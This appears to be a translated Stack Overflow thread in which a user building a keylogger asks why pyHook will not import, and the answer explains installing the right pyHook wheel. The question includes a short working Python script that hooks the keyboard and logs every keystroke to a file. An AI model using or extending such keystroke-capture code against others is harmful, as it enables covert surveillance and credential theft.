我尝试安装 PyHook 但仍然收到错误:
ImportError: No module named 'pyhook'
请给我一个解决方案。我该如何解决这个错误。
我正在制作一个键盘记录程序。
**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
最佳答案
首先检查您正在运行的 python 版本,在我的例子中,当我输入 python 时,我会看到:
Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] on win32
这意味着我需要安装 python 2.7 的 64 位版本,最简单的方法是下载 pyhook package from this website ,然后将其保存在您的 virtualenv 目录中(如果您正在使用的话)或只是保存在您的 python 文件夹中。然后打开命令提示符并转到下载包的路径,然后输入 pip install the_name_of_your_package.whl
,例如,如果您运行的是 python 2.7 64 位,则输入:
pip install pyHook-1.5.1-cp27-none-win_amd64.whl
一旦正确安装,您的脚本应该可以正常运行。
关于python - 如何下载PyHook模块,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38880842/